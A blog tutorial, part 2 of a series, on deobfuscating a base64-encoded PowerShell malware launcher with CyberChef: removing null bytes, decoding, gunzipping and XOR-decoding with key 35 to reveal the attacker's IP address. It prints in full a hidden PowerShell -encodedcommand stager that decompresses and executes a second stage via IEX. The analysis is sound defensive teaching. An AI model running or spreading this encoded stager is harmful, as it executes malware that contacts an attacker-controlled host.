How to analyze powershell obfuscated code (this one is base64), Part-2

Md. Mahim Bin Firoj
3 min readAug 3, 2023

This is the continuation of my previous part-1.

https://mahim-firoj.medium.com/how-to-analyze-powershell-obfuscated-code-6aff086a8055

Here we will analyze another base64 code.

Code for practice:

%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWAA2ADMATwBpAFMAaABiAC8ASABQADgASwBQAHEAUgBLAEwAVQAyAEMAagA1AGcANABXADEATgAxAFYAVQBCAFEAUQBCAFQAZgB1AGEAawBVAGoAeABaAFIAbwBIAGsAMABLAE4ANgBaAC8ALwAwAGUAVQBIAE0AegBPADUAbgBkAHEAZABxADEAaQByAEsANwBPAGMALwBmAGUAZgBSAEIAUgBlAFIATwBKAGEARgB0AEUAQQBtAGIAaQBMAHEAYgBvAHoAQwB5AHMAVQBmAFYAQwA0AFYAYgBCAGcAdQBFACsAawByADkAVQBTAHgAcwBZAHMAOABnADIAWABHADIAZQBMAE0AUQBlAGYATgBEAGIATAB4AHAAcABoAG0AaQBLAEsATAArAEsAdAB3AG8AVwBxAGkANQBWAE8AawAyADAAYwBJADMARgA1AHUAeABnADYAcABVAHYAcwBrAEkAawBSAG0ASABxAEgAeAB6AFUANwBqAEoAagAyAEkAdgAwAGoAYgBvAHoAZABPAEkAbgBhAEEAMwBGADUARQB0AE4AaQBOAFEAVgBIAHIAcAArAEQANgBEAFgAYwAzADIAWAByADkAOAA2AGMAVgBoAGkARAB4AHkAMwB0AC8AMwBFAGUAbABFAEUAWABKADEAeAAwAFoAUgBxAFUAeAA5AG8AeABaAGIARgBLAEsANwBrAGIANQBEAEIAcQBIACsAbwBtADcAZgA3AHYAcwBPADEAagBYAG4AUQBwAGIAMgBOAEcATQBMAEQAbgBVADgATQAzAHMAbgBZAGsAUABMAFAATABoAFgAZgBjAGMAbQBwAGUASwBmAGYAeABiAEwATAAzAGUAMQAxADMAcwAyAGkARABVAG4ASwBoAFgAVgBOAEMATABJAHYAVABjAGQAcAAxAGkAbQB2AHAAYwB6AGgAZABQAFUAUgA2AFcAaQBaAEIAcwBoAGoAdgBDAEcAMwBDADkAcwByADEARwAvAG4AKwBYAFcAeQA3AG4AeAAwAHQAbgAyAFkAdgBuAGkAbQBlAFYAcgA0AE0AZQB2AG4AYwB5AGsAbgBuAGwASwBSAFYAZwBxAGcARQAzAG4AagBHAEcAeABTAHIAMQBrACsAbAA1AGUAWAA2AGsALwAzAHEAMgBaAHgAQgA2AHgAWABYAFEAdgBlAEEAUwBGADIARgBkAFIAbQBOAGcARwBpAHUANQA1AHoAVABNAGQATgBFAEUAYgBZAEMAdABHAEUARAA3AFAASwBwAGIAQgBpAEIAQwBSAE8AUABTAG8AcQB5ADMAQQBsACsAQQA5AEsAdAAxADYAcwBlAE4AVQBRAGUANwBMADcAOABwADkATABjAG4AbwBjAEEAWAAzAGQANQBsAEsASAA1AG0AQQBTAGkARgBoAHUAWAByAEoAaQBkACsAQgBRADgAcgB6ADUAaQB3AE8AMwBQAG4ASgArAGcALwBKAFYAWQBiAGYAVAB3AGwAVwBMAG4AdwB2AGYASgBLAHEASgBuAEsAUQBwAFIASAAwAFIAZwBEAGYARAA3AGwAYQB1AEwAbAA1AHkAWgBjAEkALwBDAGsAcABPAEwASgB6AHYAcQA4AFUAWABhAFUAawBNAEUASQBqAE8ARQB5AHoAYwBFADcARABHAEoAVgBmAC8ANABuAFAAVwBlADIAVgBNADYAcgArAFUAbABEAHQAeQBuAFgAaABPAFkAZgBuAGIATQBkAFgANgBtAFcATwBiAGYATwAxAGMARgBNAHUAWABMAEkAbgBPADMALwBUAFkAOQBzAHgAVQBaAGkAOQAvADMAVQAxAE0ARwBoAGoAZQA0AGgASgBQAGMAMgAxAGoAVwB2AEMAbAB6ADYATABHAGQAbwA0AEsATQBmAGoALwBrAG8AbQBnADUAMgBsADQAdQBVAEYATQBwAGsATABPAHMAVQBNADAASgBlAGYAMgBWAGoAWABKAHUAKwA4ADMAYgBOAHgASABRAFAAaQBIAG8ARgBWAGsAQgBMAGwASAA0ADAANQB4ADcAQgBVAEYARAB3AEoAdQBZAEQAZgBlAFEAOQBwAGUAcgB1AEIATQBrAE4AWAA2AGsAdABwAHAAVgBmAHQAMgBUADcATAA1AFoANgBqAFIAVgBHAFYAVQBtAEsAbwBjADYATgBLAHEAVQBoAHoAawBGAG0AbABPAGwANQBrAFgAMQA1ADEAWQBvAEwAegBaAGYARQBmAGMANgBYAFkASQBiAGEAaABSAGUAUQBxADcAcgBYADgAQwBhAFEAWAAxAFQAMwBzAFEAYwBYAEUAQgBrAFEAWABZAEoAaQBxAFAAagBKAHMAegBjAGwAUQBxAFYASwA4AGIAYQBKAHUAcQB0AHIAVwAxAFkAVABpAHAANQBqADAATgBNAGUAQgBrAGcATgBKAEMAYwBRAEUAVABqAEkAcwBWAEoATABsAFQARwBoAFcALwB6ADAALwB5AHYAYwBxAEkAbwBMAHIATwA4AGcARgA2AHIAdwBMAGMAWQA1AG0AUQBjACsANQBWAEYAUwBlAGIAcABxAEYAegBPAEoALwBNAFAAdABhAEoAKwBlAGkAeQBMAEMANgBnAHYAVABCAGEARQBnAEEAMQBjAEcAawBTAHMAMwB0AGsARQBCAGYASwAxAFoALwBTAHIAegAvAHoAYgB3AGYAVwA4AHcAUABaAHYAWgBDAGQAQQBsAGsASwBTAC8ARQBsADIANQBLAHMAbgBMAEoASwBZADMAcwBjAHYAbgA2AGoAbQBXAE8AWABFAGcAQQBOAFMANwBFAGIAbABlAEwAVQBLAHUAcAA1AG0AMgBzAFYARwB3ADgAeAA0AEcAUQBTAHIAdAB4AEsAKwB5AHoAQwBjAGMASABQAEQAdQBGAEoANABHAG4ARQBYAEMAcwBLAEEANABtAGYAbgBjAGkARwBtAHcAOABVAG4AaAA2AHMAQgBIAEcAegAwAHcAegBQAHMAUgBDAFAATwAzAFMARABZADQARwB1AGwAUABRAFoAegBkAEMATQBzAEsAcgBXAHUAdwAyAGEANgBZAHYASgBEAEsAYwBSAFUAOABCAEgAegBGAEMAdwBuAFQANABlAG8AQwA1AGwAbQBXADMATAAzAEwATwAvAEcAUAA5AFUATgBPAFgAQQB2AGUAawA5ADcAawBtAFAANAArADQAagBKADQAWABrAGkANABYADkATgBvAFkAMQBnADkAQwAwAHMATQBEADQASAB0AHUAKwBWADcAMwBZAEQAWQBSAE8AMgBpAGgAcABXAGcAYwBHAHUAUQBaAGEAZABZAHgASABjADQAcgBLAGwAMwByAHoAMQBOAFoAbgBMAE8AKwByAEgAcQBtAHEATgBmAEcAMwBFAEEAKwAxAFYAUAB3AEMAZgB4AFMARwAvAHkARQBOAHUARgBSAGoAMAA1AHQAZwBhAGQARwBPAHcAcgA0AHoARgAvAFUARgBRAFAARABHAHcAdwBFAGYAcABDAHEAagA1AFkAdABwAFAATABCAG8AQQBrAGQAaABDAGUAbgBvAGEAeABQAGEAZgBBAE0ALwBIAEkAVABNAEQAbQBxAHEAVABSAHAAdABzAHkAagBzAGUAUQBPAHgAbABJAFcAVQAzADQAbAA5ADAARgBIAEUAQwArAHMASgBpACsATAArAE4AagBaAEMAYQAyAFEAVQBWAFgAegBwAEUANgBQAE4AYgBXADIAZABoAEoAdABhAGIAUwA5AFEANgA1AGYATgBZADgASABjAHgAYQBOAEIAbABPAHkAYQBpAGkAYQAyADAAeABUAHIANgBVAEsATwArAEUAbwBHAGoANgBaAEwAdwBlAHQAVQBFAHQANwB2AG0AZwBqAHYAYgBzAGgAbQBkAHkAQgB1AEwAWQBHAGIAUgBiAFcATABEAG4AUwBxAGoAcABKAFQAZABEAHIAOABGAE4AbQBDAEgAcQA5AG4AaQBTAEIARAA5AG8AagB0ADkAcQBqAGgAagBKAGMAeQBDAGUAagAwAFIAVwBOAE4AQgBUAEEARAAyAFgAWQBzAGsASAAyAE0ANQBFAGEAYwBNADcAMAAxADQAOABtAE8AOQB1AHAANwBBAEcAYgBnAHMAWABpAHcAWABCAHAAdABaAGEAUAB3AFUAbgBoAG4AWgBvADkAcQB1AGwAeAB2AHoASwBQAGUANgAyAFEAKwBCADcAbQBtADcAWABBAHEAbABmAEEATwBkAFAAdgAxAEsAZgBtAGIASQBrAGQAdgBrAEkARwBEACsANQBzADEASAByAFUAMAAvAGoAQgBQAEQANwBJAHcAQgAwAFIAMQBuAG0AbwBLAGEANgAvAFEATAA0AHoAbwBqAGQAcwBxAE0AcgAxAEcAYgB1AGUATQBPADYAQQBuAGUAeAByAHkALwA1AFkAagBxAGUAYwBNADUAegBTADcAUgA3AFQAWABjAG4AcwBRAFIATABIADcASABFADAAbwB3AGQATABkAGMAOABwAGsANgAzAEYANgBGADQAMwBXAEYAdQBTAHgAawB5AGsAVgBhAGMAeABHAFUANQBuAHAAagBUAG4ATwBvAHkAKwBOAEIAaAB1AFQASwB2ADkAagB0AHkAWQB6AFgAdwArAGsANQBmAEwATwBGAHIATQBhAG4ARQBNADEAbAB1ADgATQBoAHIAbQAxAGgAagBqAGUASwBnAHEAegBiAGsAZgBjACsAcgB3AGEAUwBLADEAVgBpAHYATQBMAHEAeABIAFcAVwBtAHAANwBUADAAegBTAFoAKwBTAFcAcQBYAHQAdABKAGEASgB0AGwAbgB2ACsAOAA5AE4ATABuAEEAbgBzAFQAbQBXAEoAVgA2AGUASQAxAFoAcQBMAHgAUgBtAEYAaQByADkAVQA1AGUAdgBrAC8AWABhAGwALwBaAGEANQBMAFcAUwBQAGgAdgA0AHMAagArAGIANwBlAHkAdABQAGYAYgAyAGsASABnADQARwBUAHoATwBEAHIASwA4ADYASgBLAGwAdQBlAGgAdQBCADAAKwBDAEsAZwA3AFgAUQBhAHQAegBXAE0AbQA0AFYAMgBIAG8AcgBiADcAcgBIAHAALwBkADkASQBqAEcAegBsAE8AMABhADIAKwBSAEkAZABhAEcAKwAwAEUAOABxADcAdAA2AHgAVwBHADIAeQB0AEsAYQBWADgAWQBLAHIANgBkAHkAZQByAFEAVwBkAGIARgBqADkAcABkAEQAcQBiAC8AcgBIAEMAYgBNAFkATQBOAEgALwBuAFQAagB1AHkAZAA5AHUAdABuADUAZgBXADAAZABJAG8ANQBPAFAARwAvAGsASwByAE8AdwBWAHgAbgBqAFYAUwBCAEwAYwB6AEoAegA5AG4AaAB5AGUAbABEAFcAagBqAEoAZAByAEMAdQAxAGoAYQBpADIAUgBpAEcAeQBWAGwATwB6AGYAdwBwAFkATABuAEUATgBsAHIARAAxADUASQBpAE0AcAAyAEIATABGAHMASgBPAGIAWQA4AFcAMQBoAEoAeQBjAGUALwBzAEkASQA5AFAAawBOAE0AaQBQAEQAdQBoAE0AUgBGAFIAMAB6AHcAYwBJAGMAZQBpAEEAYwA1AHEAWgBTAGMAawBmAG0AbwBNAFEAOQBaAGsAbwAxADAASAA5AGcAWQAvAEYAeQBWADkARQBSAHoATQBVADkAMgBQAEkAZQB5AGEAdABSAGYAaQBIAHQAUwA0ADMAawBjAFYAUgBnAHoASQBFACsAUwBkAHMATwB4AGIAOQBLAFIALwBvAEgAWABXAGcAcABqAFoAZQBkADEAWgBXAGYAZgBhADQAQgBEAG0AawBXAE4AMgB4AC8AKwBMAGcAdgA4ADcAaAAxAEQAdgAvAFEAbQA2AEUAagBTADgANwBMAHgAUwBLAFcAZAB6AHcAdgB1AGIAbAA5AHYAagA2ADMAVwB1AGUAOQAvAGYANgBVAGUAUQAxAG4AagBNAGUAbAAzACsASgB0AEUAKwBkAEwAaABmAEQAVQB1AFMARgBrAFoAYgB6AFkASABPAEIAdwBQAFAAOQBiAHIAaQBjAE0AaABkAHgAaABZAEYAMgB4AGwASABxAGYAVAA1AHAATAAxAEgAbwBZAGMAYwBtAEUASgBoAFQAcgAwADIAKwBZADcAagBZAEMATQBiAHQASAA0AHgAOABjAEQAWQBkAHgANwBHAFgAdQBFAHkAbQA4AEcAeQBVAGYAOQAwAFYAYQBiAGUAQwBXAEcANgBPAHYAdQBrAHgANQB0AE4AUABvAHgAYwBQAEwAegBPAFoARgBmAEMATAAxAC8AVwA0AEYANwAxAEEANABnAGkAOABpAHkAeQByAFYATAAwAHMAVQBIAFQAZABQAGIAZgBwAE0AdQBGADMANABlAGwAaAAvADIAMAA5AEMANgB1AG0AZwAxAGoASAB5AHoANQBxAE0AbgBKAE4AWgBVAHYANgBJAGUAeAA1ADYATAAvAFkAdwBCACsAVQBQAHIAZgBvAGMAMwBBAHkAKwBlADUAZAArAGgAeQBnAHoANwBIAHEAMQB3AG8ALwBsAEUAbwBDAEIAdgBxAHcAMwBsAGsAbgArAEIAcgBCAFEAWABVAGMANQA1ADcARQBkAEYAQwBjAHIAZgBEAE8AbgB6AGEANQBIAGQAMQA2AFYAWQByAFUAdwBLADcAcABHADQAMQA2AGoAdAAxAEIAKwA1ADEAbwBrAFkAZAB2AG0AOQBDAEsAOAA0AHUAYgB1AHIAOAB1AGYAYQBOAE8AbQBqADIAbQBmAEUAYgBOAFUARQBHAGcAbgBIADcAYgBvAEIAMQB5AEYASQBFADgAMQBjAG0ATwBoAGUAUwBFAGMAUABaADMANABXAEQAVwBDAGoALwBEAFEAQQBBACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

You can read some interesting base64 pattern cheat sheet from the below link.
https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639

We got a base64 code. And we have cyberchef to decode this. After decoding this we have value but that are mixed with lots of null bytes. So we need to use now Remove null bytes recipe from cyberchef to remove those.

After removing all the null bytes, we have something to human readable. But you may notice that anohter base64 code is there. So now we will decode that as well.

After decoding that we got something gibbrish. You may think that the red mark characters are null bytes; but they are actually not. You can also see that cyberchef magic stick is showing and when we hover our mouse there, then Gzip file detected message is giving.

Using the Gunzip recipe, we got a readable powershell code.

Going down a bit, we found another base64 code which is xored with key 35. Lets decode the base64 first then xor it with key 35.

We can see that one IP address. This is the IOC that the threat actor was comunicating with.

So let’s summarize what attacker did.

  1. Attacker first xored the IOC with a key 35. Then attacker got a value. Then attacker encoded that value using base64.
  2. Then attacker compress that uaing gunzip. Then whatever the value he got, he again encoded that using base64.
  3. With that value, he added some null bytes. Then again he encoded that using base64.

If you notice, we just need to reverse this from 3 to 1 point to get the actual IOC that attacker might be comunicated with.

I hope you will learn something new from here.

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https://www.linkedin.com/in/md-mahimbin-firoj-7b8a5a113/

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